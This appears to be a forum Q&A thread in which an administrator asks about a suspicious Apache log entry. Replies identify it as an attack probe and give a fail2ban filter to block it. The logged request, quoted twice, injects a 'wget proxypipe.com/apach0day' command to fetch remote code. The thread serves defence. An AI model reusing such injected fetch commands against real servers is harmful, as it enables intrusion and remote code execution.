today I received this

16X.XXX.XX.77 - - [28/Jul/2014:--:--:--] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 3596 "-" "chroot-apach0day"

so with

HTTP_USER_AGENT: chroot-apach0day
REQUEST_URI: x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day

appears in access log and seems suspicious... any idea about that?

  • This is someone attempting to hack your server. Someone attempting to hack your server, if it is open to the internet, is a normal state of affairs. It does not mean the attack was successful (though it also doesn't mean it was unsuccessful). Commented Jul 28, 2014 at 22:24
  • yeah, I know, someone trying to hack ... but the question is what, is really new (this kind of attempt) for me and I don't know what the hell is trying to get & how
    – ptx
    Commented Jul 28, 2014 at 22:27
  • 1
    Do you have the log IO and the run time for the attack? If the output file size is larger than normal index page, and the timing takes longer than 1s, probably something got executed on server side and the output is returned to the hacker. Can anyone verify this? Commented Jul 29, 2014 at 1:57
  • It would also be helpful if you have egress logging to check if there is any outgoing traffic to proxypipe IP Commented Jul 29, 2014 at 2:05

3 Answers 3


Proxypipe.com is hosted by Voxility S.R.L (AS39743)(AS3223). Voxility is known to be a bad hosting company by allowing the hosting of malware, sending spam, executing DDoS et cetera, from their IP's.

It is best to block all their IP ranges otherwise you will possibly be dealing with DDoS attacks. I experienced this all day long before.

You can find a list of their IP ranges here Voxility (AS39743) and Voxility (AS3223)


I too got similar probes. However, I got three different probes, all with different payloads. Running ls -a showed a new directory called .ssh in my document root, with a file called notshell.php

I immediately deleted the directory and destroyed the DigitalOcean instance

My guess is that somebody is trying to create some kind of attack on servers


Here's a quick-and-dirty solution to block using fail2ban. (If you don't currently use fail2ban, google for your OS.)

If you have fail2ban installed, see below. Note locations of the fail2ban files might be different, depending on your OS. The example below is from a Debian server. This sample doesn't cover ban times, etc.---just how to create a filter and add it to jail.local. There are plenty of fail2ban config examples on google for multiple systems.

Quick-And-Dirty (Debian Linux):

1) Create a new file apache-0day.conf in /etc/fail2ban/filter.d that contains:

#Fail2Ban configuration file
#Limited filter to stop apach0day attacks

Option: failregex
#Notes.: regex to match this kind of request:
# - - [28/Jul/2014:19:02:00 +0000] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 359 "-" "chroot-apach0day"

failregex = ^ -."(GET|POST).\?.proxypipe|apach0day.$
Option: ignoreregex
Notes.: regex to ignore. If this regex matches, the line is ignored.

Values: TEXT

#ignoreregex =

2) Test filter with command: fail2ban-regex /var/log/apache2/access.log /etc/fail2ban/filter.d/apache-0day.conf

3) Edit /etc/fail2banl/jail.local, to add this jail:

enabled = true
port = http,https
filter = apache-0day
logpath = /var/log/apache*/*access.log
maxretry = 2

4) Test the new overall configuration (watch for WARNING and fix, if needed): fail2ban-client -d

5) Re-start fail2ban: /etc/init.d/fail2ban restart

  • 1
    Nice solution, but this will only block clients after they have tried (successfully or not) to use this vulnerability. If you want a proactive, rather reactive approach, you have to rely on snort/suricata or apache modsecurity. Commented Jul 29, 2014 at 10:13

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .